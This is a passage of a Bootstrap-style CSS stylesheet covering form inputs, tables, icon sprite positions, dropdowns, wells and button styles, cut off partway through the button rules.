0;\n}\n\n.input-prepend .active,\n.input-append .active {\n  background-color: #a9dba9;\n  border-color: #46a546;\n}\n\n.input-prepend .add-on,\n.input-prepend .btn {\n  margin-right: -1px;\n}\n\n.input-prepend .add-on:first-child,\n.input-prepend .btn:first-child {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append input,\n.input-append select,\n.input-append .uneditable-input {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append .uneditable-input {\n  border-right-color: #ccc;\n  border-left-color: #eee;\n}\n\n.input-append .add-on:last-child,\n.input-append .btn:last-child {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend.input-append input,\n.input-prepend.input-append select,\n.input-prepend.input-append .uneditable-input {\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.input-prepend.input-append .add-on:first-child,\n.input-prepend.input-append .btn:first-child {\n  margin-right: -1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-prepend.input-append .add-on:last-child,\n.input-prepend.input-append .btn:last-child {\n  margin-left: -1px;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.search-query {\n  padding-right: 14px;\n  padding-right: 4px \\9;\n  padding-left: 14px;\n  padding-left: 4px \\9;\n  /* IE7-8 doesn't have border-radius, so don't indent the padding */\n\n  margin-bottom: 0;\n  -webkit-border-radius: 14px;\n     -moz-border-radius: 14px;\n          border-radius: 14px;\n}\n\n.form-search input,\n.form-inline input,\n.form-horizontal input,\n.form-search textarea,\n.form-inline textarea,\n.form-horizontal textarea,\n.form-search select,\n.form-inline select,\n.form-horizontal select,\n.form-search .help-inline,\n.form-inline .help-inline,\n.form-horizontal .help-inline,\n.form-search .uneditable-input,\n.form-inline .uneditable-input,\n.form-horizontal .uneditable-input,\n.form-search .input-prepend,\n.form-inline .input-prepend,\n.form-horizontal .input-prepend,\n.form-search .input-append,\n.form-inline .input-append,\n.form-horizontal .input-append {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.form-search .hide,\n.form-inline .hide,\n.form-horizontal .hide {\n  display: none;\n}\n\n.form-search label,\n.form-inline label {\n  display: inline-block;\n}\n\n.form-search .input-append,\n.form-inline .input-append,\n.form-search .input-prepend,\n.form-inline .input-prepend {\n  margin-bottom: 0;\n}\n\n.form-search .radio,\n.form-search .checkbox,\n.form-inline .radio,\n.form-inline .checkbox {\n  padding-left: 0;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.form-search .radio input[type=\"radio\"],\n.form-search .checkbox input[type=\"checkbox\"],\n.form-inline .radio input[type=\"radio\"],\n.form-inline .checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-right: 3px;\n  margin-left: 0;\n}\n\n.control-group {\n  margin-bottom: 9px;\n}\n\nlegend + .control-group {\n  margin-top: 18px;\n  -webkit-margin-top-collapse: separate;\n}\n\n.form-horizontal .control-group {\n  margin-bottom: 18px;\n  *zoom: 1;\n}\n\n.form-horizontal .control-group:before,\n.form-horizontal .control-group:after {\n  display: table;\n  content: \"\";\n}\n\n.form-horizontal .control-group:after {\n  clear: both;\n}\n\n.form-horizontal .control-label {\n  float: left;\n  width: 140px;\n  padding-top: 5px;\n  text-align: right;\n}\n\n.form-horizontal .controls {\n  *display: inline-block;\n  *padding-left: 20px;\n  margin-left: 160px;\n  *margin-left: 0;\n}\n\n.form-horizontal .controls:first-child {\n  *padding-left: 160px;\n}\n\n.form-horizontal .help-block {\n  margin-top: 9px;\n  margin-bottom: 0;\n}\n\n.form-horizontal .form-actions {\n  padding-left: 160px;\n}\n\ntable {\n  max-width: 100%;\n  background-color: transparent;\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\n.table {\n  width: 100%;\n  margin-bottom: 18px;\n}\n\n.table th,\n.table td {\n  padding: 8px;\n  line-height: 18px;\n  text-align: left;\n  vertical-align: top;\n  border-top: 1px solid #dddddd;\n}\n\n.table th {\n  font-weight: bold;\n}\n\n.table thead th {\n  vertical-align: bottom;\n}\n\n.table caption + thead tr:first-child th,\n.table caption + thead tr:first-child td,\n.table colgroup + thead tr:first-child th,\n.table colgroup + thead tr:first-child td,\n.table thead:first-child tr:first-child th,\n.table thead:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dddddd;\n}\n\n.table-condensed th,\n.table-condensed td {\n  padding: 4px 5px;\n}\n\n.table-bordered {\n  border: 1px solid #dddddd;\n  border-collapse: separate;\n  *border-collapse: collapsed;\n  border-left: 0;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border-left: 1px solid #dddddd;\n}\n\n.table-bordered caption + thead tr:first-child th,\n.table-bordered caption + tbody tr:first-child th,\n.table-bordered caption + tbody tr:first-child td,\n.table-bordered colgroup + thead tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child td,\n.table-bordered thead:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table-bordered thead:first-child tr:first-child th:first-child,\n.table-bordered tbody:first-child tr:first-child td:first-child {\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.table-bordered thead:first-child tr:first-child th:last-child,\n.table-bordered tbody:first-child tr:first-child td:last-child {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:first-child,\n.table-bordered tbody:last-child tr:last-child td:first-child {\n  -webkit-border-radius: 0 0 0 4px;\n     -moz-border-radius: 0 0 0 4px;\n          border-radius: 0 0 0 4px;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:last-child,\n.table-bordered tbody:last-child tr:last-child td:last-child {\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.table-striped tbody tr:nth-child(odd) td,\n.table-striped tbody tr:nth-child(odd) th {\n  background-color: #f9f9f9;\n}\n\n.table tbody tr:hover td,\n.table tbody tr:hover th {\n  background-color: #f5f5f5;\n}\n\ntable .span1 {\n  float: none;\n  width: 44px;\n  margin-left: 0;\n}\n\ntable .span2 {\n  float: none;\n  width: 124px;\n  margin-left: 0;\n}\n\ntable .span3 {\n  float: none;\n  width: 204px;\n  margin-left: 0;\n}\n\ntable .span4 {\n  float: none;\n  width: 284px;\n  margin-left: 0;\n}\n\ntable .span5 {\n  float: none;\n  width: 364px;\n  margin-left: 0;\n}\n\ntable .span6 {\n  float: none;\n  width: 444px;\n  margin-left: 0;\n}\n\ntable .span7 {\n  float: none;\n  width: 524px;\n  margin-left: 0;\n}\n\ntable .span8 {\n  float: none;\n  width: 604px;\n  margin-left: 0;\n}\n\ntable .span9 {\n  float: none;\n  width: 684px;\n  margin-left: 0;\n}\n\ntable .span10 {\n  float: none;\n  width: 764px;\n  margin-left: 0;\n}\n\ntable .span11 {\n  float: none;\n  width: 844px;\n  margin-left: 0;\n}\n\ntable .span12 {\n  float: none;\n  width: 924px;\n  margin-left: 0;\n}\n\ntable .span13 {\n  float: none;\n  width: 1004px;\n  margin-left: 0;\n}\n\ntable .span14 {\n  float: none;\n  width: 1084px;\n  margin-left: 0;\n}\n\ntable .span15 {\n  float: none;\n  width: 1164px;\n  margin-left: 0;\n}\n\ntable .span16 {\n  float: none;\n  width: 1244px;\n  margin-left: 0;\n}\n\ntable .span17 {\n  float: none;\n  width: 1324px;\n  margin-left: 0;\n}\n\ntable .span18 {\n  float: none;\n  width: 1404px;\n  margin-left: 0;\n}\n\ntable .span19 {\n  float: none;\n  width: 1484px;\n  margin-left: 0;\n}\n\ntable .span20 {\n  float: none;\n  width: 1564px;\n  margin-left: 0;\n}\n\ntable .span21 {\n  float: none;\n  width: 1644px;\n  margin-left: 0;\n}\n\ntable .span22 {\n  float: none;\n  width: 1724px;\n  margin-left: 0;\n}\n\ntable .span23 {\n  float: none;\n  width: 1804px;\n  margin-left: 0;\n}\n\ntable .span24 {\n  float: none;\n  width: 1884px;\n  margin-left: 0;\n}\n\n[class^=\"icon-\"],\n[class*=\" icon-\"] {\n  display: inline-block;\n  width: 14px;\n  height: 14px;\n  *margin-right: .3em;\n  line-height: 14px;\n  vertical-align: text-top;\n  background-image: url(\"../img/glyphicons-halflings.png\");\n  background-position: 14px 14px;\n  background-repeat: no-repeat;\n}\n\n[class^=\"icon-\"]:last-child,\n[class*=\" icon-\"]:last-child {\n  *margin-left: 0;\n}\n\n.icon-white {\n  background-image: url(\"../img/glyphicons-halflings-white.png\");\n}\n\n.icon-glass {\n  background-position: 0      0;\n}\n\n.icon-music {\n  background-position: -24px 0;\n}\n\n.icon-search {\n  background-position: -48px 0;\n}\n\n.icon-envelope {\n  background-position: -72px 0;\n}\n\n.icon-heart {\n  background-position: -96px 0;\n}\n\n.icon-star {\n  background-position: -120px 0;\n}\n\n.icon-star-empty {\n  background-position: -144px 0;\n}\n\n.icon-user {\n  background-position: -168px 0;\n}\n\n.icon-film {\n  background-position: -192px 0;\n}\n\n.icon-th-large {\n  background-position: -216px 0;\n}\n\n.icon-th {\n  background-position: -240px 0;\n}\n\n.icon-th-list {\n  background-position: -264px 0;\n}\n\n.icon-ok {\n  background-position: -288px 0;\n}\n\n.icon-remove {\n  background-position: -312px 0;\n}\n\n.icon-zoom-in {\n  background-position: -336px 0;\n}\n\n.icon-zoom-out {\n  background-position: -360px 0;\n}\n\n.icon-off {\n  background-position: -384px 0;\n}\n\n.icon-signal {\n  background-position: -408px 0;\n}\n\n.icon-cog {\n  background-position: -432px 0;\n}\n\n.icon-trash {\n  background-position: -456px 0;\n}\n\n.icon-home {\n  background-position: 0 -24px;\n}\n\n.icon-file {\n  background-position: -24px -24px;\n}\n\n.icon-time {\n  background-position: -48px -24px;\n}\n\n.icon-road {\n  background-position: -72px -24px;\n}\n\n.icon-download-alt {\n  background-position: -96px -24px;\n}\n\n.icon-download {\n  background-position: -120px -24px;\n}\n\n.icon-upload {\n  background-position: -144px -24px;\n}\n\n.icon-inbox {\n  background-position: -168px -24px;\n}\n\n.icon-play-circle {\n  background-position: -192px -24px;\n}\n\n.icon-repeat {\n  background-position: -216px -24px;\n}\n\n.icon-refresh {\n  background-position: -240px -24px;\n}\n\n.icon-list-alt {\n  background-position: -264px -24px;\n}\n\n.icon-lock {\n  background-position: -287px -24px;\n}\n\n.icon-flag {\n  background-position: -312px -24px;\n}\n\n.icon-headphones {\n  background-position: -336px -24px;\n}\n\n.icon-volume-off {\n  background-position: -360px -24px;\n}\n\n.icon-volume-down {\n  background-position: -384px -24px;\n}\n\n.icon-volume-up {\n  background-position: -408px -24px;\n}\n\n.icon-qrcode {\n  background-position: -432px -24px;\n}\n\n.icon-barcode {\n  background-position: -456px -24px;\n}\n\n.icon-tag {\n  background-position: 0 -48px;\n}\n\n.icon-tags {\n  background-position: -25px -48px;\n}\n\n.icon-book {\n  background-position: -48px -48px;\n}\n\n.icon-bookmark {\n  background-position: -72px -48px;\n}\n\n.icon-print {\n  background-position: -96px -48px;\n}\n\n.icon-camera {\n  background-position: -120px -48px;\n}\n\n.icon-font {\n  background-position: -144px -48px;\n}\n\n.icon-bold {\n  background-position: -167px -48px;\n}\n\n.icon-italic {\n  background-position: -192px -48px;\n}\n\n.icon-text-height {\n  background-position: -216px -48px;\n}\n\n.icon-text-width {\n  background-position: -240px -48px;\n}\n\n.icon-align-left {\n  background-position: -264px -48px;\n}\n\n.icon-align-center {\n  background-position: -288px -48px;\n}\n\n.icon-align-right {\n  background-position: -312px -48px;\n}\n\n.icon-align-justify {\n  background-position: -336px -48px;\n}\n\n.icon-list {\n  background-position: -360px -48px;\n}\n\n.icon-indent-left {\n  background-position: -384px -48px;\n}\n\n.icon-indent-right {\n  background-position: -408px -48px;\n}\n\n.icon-facetime-video {\n  background-position: -432px -48px;\n}\n\n.icon-picture {\n  background-position: -456px -48px;\n}\n\n.icon-pencil {\n  background-position: 0 -72px;\n}\n\n.icon-map-marker {\n  background-position: -24px -72px;\n}\n\n.icon-adjust {\n  background-position: -48px -72px;\n}\n\n.icon-tint {\n  background-position: -72px -72px;\n}\n\n.icon-edit {\n  background-position: -96px -72px;\n}\n\n.icon-share {\n  background-position: -120px -72px;\n}\n\n.icon-check {\n  background-position: -144px -72px;\n}\n\n.icon-move {\n  background-position: -168px -72px;\n}\n\n.icon-step-backward {\n  background-position: -192px -72px;\n}\n\n.icon-fast-backward {\n  background-position: -216px -72px;\n}\n\n.icon-backward {\n  background-position: -240px -72px;\n}\n\n.icon-play {\n  background-position: -264px -72px;\n}\n\n.icon-pause {\n  background-position: -288px -72px;\n}\n\n.icon-stop {\n  background-position: -312px -72px;\n}\n\n.icon-forward {\n  background-position: -336px -72px;\n}\n\n.icon-fast-forward {\n  background-position: -360px -72px;\n}\n\n.icon-step-forward {\n  background-position: -384px -72px;\n}\n\n.icon-eject {\n  background-position: -408px -72px;\n}\n\n.icon-chevron-left {\n  background-position: -432px -72px;\n}\n\n.icon-chevron-right {\n  background-position: -456px -72px;\n}\n\n.icon-plus-sign {\n  background-position: 0 -96px;\n}\n\n.icon-minus-sign {\n  background-position: -24px -96px;\n}\n\n.icon-remove-sign {\n  background-position: -48px -96px;\n}\n\n.icon-ok-sign {\n  background-position: -72px -96px;\n}\n\n.icon-question-sign {\n  background-position: -96px -96px;\n}\n\n.icon-info-sign {\n  background-position: -120px -96px;\n}\n\n.icon-screenshot {\n  background-position: -144px -96px;\n}\n\n.icon-remove-circle {\n  background-position: -168px -96px;\n}\n\n.icon-ok-circle {\n  background-position: -192px -96px;\n}\n\n.icon-ban-circle {\n  background-position: -216px -96px;\n}\n\n.icon-arrow-left {\n  background-position: -240px -96px;\n}\n\n.icon-arrow-right {\n  background-position: -264px -96px;\n}\n\n.icon-arrow-up {\n  background-position: -289px -96px;\n}\n\n.icon-arrow-down {\n  background-position: -312px -96px;\n}\n\n.icon-share-alt {\n  background-position: -336px -96px;\n}\n\n.icon-resize-full {\n  background-position: -360px -96px;\n}\n\n.icon-resize-small {\n  background-position: -384px -96px;\n}\n\n.icon-plus {\n  background-position: -408px -96px;\n}\n\n.icon-minus {\n  background-position: -433px -96px;\n}\n\n.icon-asterisk {\n  background-position: -456px -96px;\n}\n\n.icon-exclamation-sign {\n  background-position: 0 -120px;\n}\n\n.icon-gift {\n  background-position: -24px -120px;\n}\n\n.icon-leaf {\n  background-position: -48px -120px;\n}\n\n.icon-fire {\n  background-position: -72px -120px;\n}\n\n.icon-eye-open {\n  background-position: -96px -120px;\n}\n\n.icon-eye-close {\n  background-position: -120px -120px;\n}\n\n.icon-warning-sign {\n  background-position: -144px -120px;\n}\n\n.icon-plane {\n  background-position: -168px -120px;\n}\n\n.icon-calendar {\n  background-position: -192px -120px;\n}\n\n.icon-random {\n  background-position: -216px -120px;\n}\n\n.icon-comment {\n  background-position: -240px -120px;\n}\n\n.icon-magnet {\n  background-position: -264px -120px;\n}\n\n.icon-chevron-up {\n  background-position: -288px -120px;\n}\n\n.icon-chevron-down {\n  background-position: -313px -119px;\n}\n\n.icon-retweet {\n  background-position: -336px -120px;\n}\n\n.icon-shopping-cart {\n  background-position: -360px -120px;\n}\n\n.icon-folder-close {\n  background-position: -384px -120px;\n}\n\n.icon-folder-open {\n  background-position: -408px -120px;\n}\n\n.icon-resize-vertical {\n  background-position: -432px -119px;\n}\n\n.icon-resize-horizontal {\n  background-position: -456px -118px;\n}\n\n.icon-hdd {\n  background-position: 0 -144px;\n}\n\n.icon-bullhorn {\n  background-position: -24px -144px;\n}\n\n.icon-bell {\n  background-position: -48px -144px;\n}\n\n.icon-certificate {\n  background-position: -72px -144px;\n}\n\n.icon-thumbs-up {\n  background-position: -96px -144px;\n}\n\n.icon-thumbs-down {\n  background-position: -120px -144px;\n}\n\n.icon-hand-right {\n  background-position: -144px -144px;\n}\n\n.icon-hand-left {\n  background-position: -168px -144px;\n}\n\n.icon-hand-up {\n  background-position: -192px -144px;\n}\n\n.icon-hand-down {\n  background-position: -216px -144px;\n}\n\n.icon-circle-arrow-right {\n  background-position: -240px -144px;\n}\n\n.icon-circle-arrow-left {\n  background-position: -264px -144px;\n}\n\n.icon-circle-arrow-up {\n  background-position: -288px -144px;\n}\n\n.icon-circle-arrow-down {\n  background-position: -312px -144px;\n}\n\n.icon-globe {\n  background-position: -336px -144px;\n}\n\n.icon-wrench {\n  background-position: -360px -144px;\n}\n\n.icon-tasks {\n  background-position: -384px -144px;\n}\n\n.icon-filter {\n  background-position: -408px -144px;\n}\n\n.icon-briefcase {\n  background-position: -432px -144px;\n}\n\n.icon-fullscreen {\n  background-position: -456px -144px;\n}\n\n.dropup,\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle {\n  *margin-bottom: -3px;\n}\n\n.dropdown-toggle:active,\n.open .dropdown-toggle {\n  outline: 0;\n}\n\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  vertical-align: top;\n  border-top: 4px solid #000000;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n  content: \"\";\n  opacity: 0.3;\n  filter: alpha(opacity=30);\n}\n\n.dropdown .caret {\n  margin-top: 8px;\n  margin-left: 2px;\n}\n\n.dropdown:hover .caret,\n.open .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 4px 0;\n  margin: 1px 0 0;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  *border-right-width: 2px;\n  *border-bottom-width: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n     -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding;\n          background-clip: padding-box;\n}\n\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.dropdown-menu .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.dropdown-menu a {\n  display: block;\n  padding: 3px 15px;\n  clear: both;\n  font-weight: normal;\n  line-height: 18px;\n  color: #333333;\n  white-space: nowrap;\n}\n\n.dropdown-menu li > a:hover,\n.dropdown-menu .active > a,\n.dropdown-menu .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #0088cc;\n}\n\n.open {\n  *z-index: 1000;\n}\n\n.open > .dropdown-menu {\n  display: block;\n}\n\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  border-top: 0;\n  border-bottom: 4px solid #000000;\n  content: \"\\2191\";\n}\n\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n\n.typeahead {\n  margin-top: 2px;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #eee;\n  border: 1px solid rgba(0, 0, 0, 0.05);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n\n.well-large {\n  padding: 24px;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.well-small {\n  padding: 9px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n     -moz-transition: opacity 0.15s linear;\n      -ms-transition: opacity 0.15s linear;\n       -o-transition: opacity 0.15s linear;\n          transition: opacity 0.15s linear;\n}\n\n.fade.in {\n  opacity: 1;\n}\n\n.collapse {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n     -moz-transition: height 0.35s ease;\n      -ms-transition: height 0.35s ease;\n       -o-transition: height 0.35s ease;\n          transition: height 0.35s ease;\n}\n\n.collapse.in {\n  height: auto;\n}\n\n.close {\n  float: right;\n  font-size: 20px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #000000;\n  text-shadow: 0 1px 0 #ffffff;\n  opacity: 0.2;\n  filter: alpha(opacity=20);\n}\n\n.close:hover {\n  color: #000000;\n  text-decoration: none;\n  cursor: pointer;\n  opacity: 0.4;\n  filter: alpha(opacity=40);\n}\n\nbutton.close {\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.btn {\n  display: inline-block;\n  *display: inline;\n  padding: 4px 10px 4px;\n  margin-bottom: 0;\n  *margin-left: .3em;\n  font-size: 13px;\n  line-height: 18px;\n  *line-height: 20px;\n  color: #333333;\n  text-align: center;\n  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);\n  vertical-align: middle;\n  cursor: pointer;\n  background-color: #f5f5f5;\n  *background-color: #e6e6e6;\n  background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));\n  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);\n  background-repeat: repeat-x;\n  border: 1px solid #cccccc;\n  *border: 0;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n  border-bottom-color: #b3b3b3;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn:hover,\n.btn:active,\n.btn.active,\n.btn.disabled,\n.btn[disabled] {\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n}\n\n.btn:active,\n.btn.active {\n  background-color: #cccccc \\9;\n}\n\n.btn:first-child {\n  *margin-left: 0;\n}\n\n.btn:hover {\n  color: #333333;\n  text-decoration: none;\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n  /* Buttons in IE7 don't get borders, so darken on hover */\n\n  background-position: 0 -15px;\n  -webkit-transition: background-position 0.1s linear;\n     -moz-transition: background-position 0.1s linear;\n      -ms-transition: background-position 0.1s linear;\n       -o-transition: background-position 0.1s linear;\n          transition: background-position 0.1s linear;\n}\n\n.btn:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.btn.active,\n.btn:active {\n  background-color: #e6e6e6;\n  background-color: #d9d9d9 \\9;\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn.disabled,\n.btn[disabled] {\n  cursor: default;\n  background-color: #e6e6e6;\n  background-image: none;\n  opacity: 0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n     -moz-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-large {\n  padding: 9px 14px;\n  font-size: 15px;\n  line-height: normal;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.btn-large [class^=\"icon-\"] {\n  margin-top: 1px;\n}\n\n.btn-small {\n  padding: 5px 9px;\n  font-size: 11px;\n  line-height: 16px;\n}\n\n.btn-small [class^=\"icon-\"] {\n  margin-top: -1px;\n}\n\n.btn-mini {\n  padding: 2px 6px;\n  font-size: 11px;\n  line-height: 14px;\n}\n\n.btn-primary,\n.btn-primary:hover,\n.btn-warning,\n.btn-warning:hover,\n.btn-danger,\n.btn-danger:hover,\n.btn-success,\n.btn-success:hover,\n.btn-info,\n.btn-info:hover,\n.btn-inverse,\n.btn-inverse:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary.active,\n.btn-warning.active,\n.btn-danger.active,\n.btn-success.active,\n.btn-info.active,\n.btn-inverse.active {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.btn {\n  border-color: #ccc;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary {\n  background-color: #0074cc;\n  *background-color: #0055cc;\n  background-image: -ms-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0055cc));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -o-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -moz-linear-gradient(top, #0088cc, #0055cc);\n  background-image: linear-gradient(top, #0088cc, #0055cc);\n  background-repeat: repeat-x;\n  border-color: #0055cc #0055cc #003580;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#0088cc', endColorstr='#0055cc', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-primary:hover,\n.btn-primary:active,\n.btn-primary.active,\n.btn-primary.disabled,\n.btn-primary[disabled] {\n  background-color: #0055cc;\n  *background-color: #004ab3;\n}\n\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #004099 \\9;\n}\n\n.btn-warning {\n  background-color: #faa732;\n  *background-color: #f89406;\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  border-color: #f89406 #f89406 #ad6704;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-warning:hover,\n.btn-warning:active,\n.btn-warning.active,\n.btn-warning.disabled,\n.btn-warning[disabled] {\n  background-color: #f89406;\n  *background-color: #df8505;\n}\n\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #c67605 \\9;\n}\n\n.btn-danger {\n  background-color: #da4f49;\n  *background-color: #bd362f;\n  background-image: -ms-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: linear-gradient(top, #ee5f5b, #bd362f);\n  background-repeat: repeat-x;\n  border-color: #bd362f #bd362f #802420;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', 